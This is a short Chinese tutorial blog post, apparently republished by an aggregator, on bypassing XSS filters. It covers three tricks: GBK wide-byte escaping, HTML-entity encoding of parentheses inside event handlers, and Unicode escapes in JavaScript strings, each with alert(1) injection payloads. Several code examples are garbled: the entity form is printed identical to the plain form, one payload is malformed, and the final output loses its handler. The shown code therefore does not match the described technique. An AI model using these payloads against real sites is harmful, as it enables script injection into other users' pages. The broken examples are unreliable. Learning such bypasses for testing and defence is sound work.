xss:利用编码特性绕过过滤
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss:利用编码特性绕过过滤相关的知识,希望对你有一定的参考价值。
编码知识:
url编码 当用户提交的表单值中存在url中有特殊功能的字符时(如http://xxx.com/xxx.php?name1=value1&name2=value2中的"&"),需要对其进行url编码,编码格式为%+16进制值。注意:在表单中输入url编码格式的字符只会被作为字符处理而不会解释成url编码,如有需要请在url地址栏中输入。
html实体字符 若html页面存在字符有特殊意义时,为了避免被错误解析,通常以html实体字符的形式显示在html页面中。如字符<,>为了避免被解析为标签的起始与结束,常以<,>表示。
1.宽字节绕过
原理:在gbxxxx系列编码的HTML中,%c0可以吃掉%5c
例子:当用户输入显示在属性里时
<input type="text" name="InputBox" value="用户输入">
输入 " 闭合双引号但被转义了
<input type="text" name="InputBox" value="\"">
因为 \ 字符编码为%5c ,当HTML为gbxxxx系列编码时,则可以输入 %c0” 来吃掉插在 " 前面的 \ 以达到绕过
<input type="text" name="InputBox" value="繺"">
2.实体字符绕过
原理:HTML标签的属性中会自动对实体字符进行转义,如
<img src="1" onerror="alert(1)">
与<img src="1" onerror="alert(1)">等效
例子:用户输出在button标签的onclick事件中
<button onclick="func(用户输出)">go</button>
构造注入句子 aaa)+alert(1 插入却发现 ( , ) 被过滤掉,变成了
<button onclick="func(aaa+alert1)">go</button>
这时候,若&,#没有被过滤,就可以使用实体字符,把 ( , ) 替换为(),从而绕过
<button onclick="func(aaa(+alert)1)">go</button>
3.unicode编码绕过
原理:js的字符串中的字符可以unicode编码表示
例子:用户输出在js中时,如
document.getElementById(‘a‘).innerHTML="用户输出"
构造注入句子 <img src=1 onerror=alert(1)> 发现<,>,(,)等都被过滤掉了
document.getElementById(‘a‘).innerHTML="img src=1 onerror=alert1"
可使用unicode编码进行绕过,输入:\u003cimg src=1\u003e
onerror=alert\u00281\u0029
document.getElementById(‘a‘).innerHTML="<img src=1 alert(1) >"
以上是关于xss:利用编码特性绕过过滤的主要内容,如果未能解决你的问题,请参考以下文章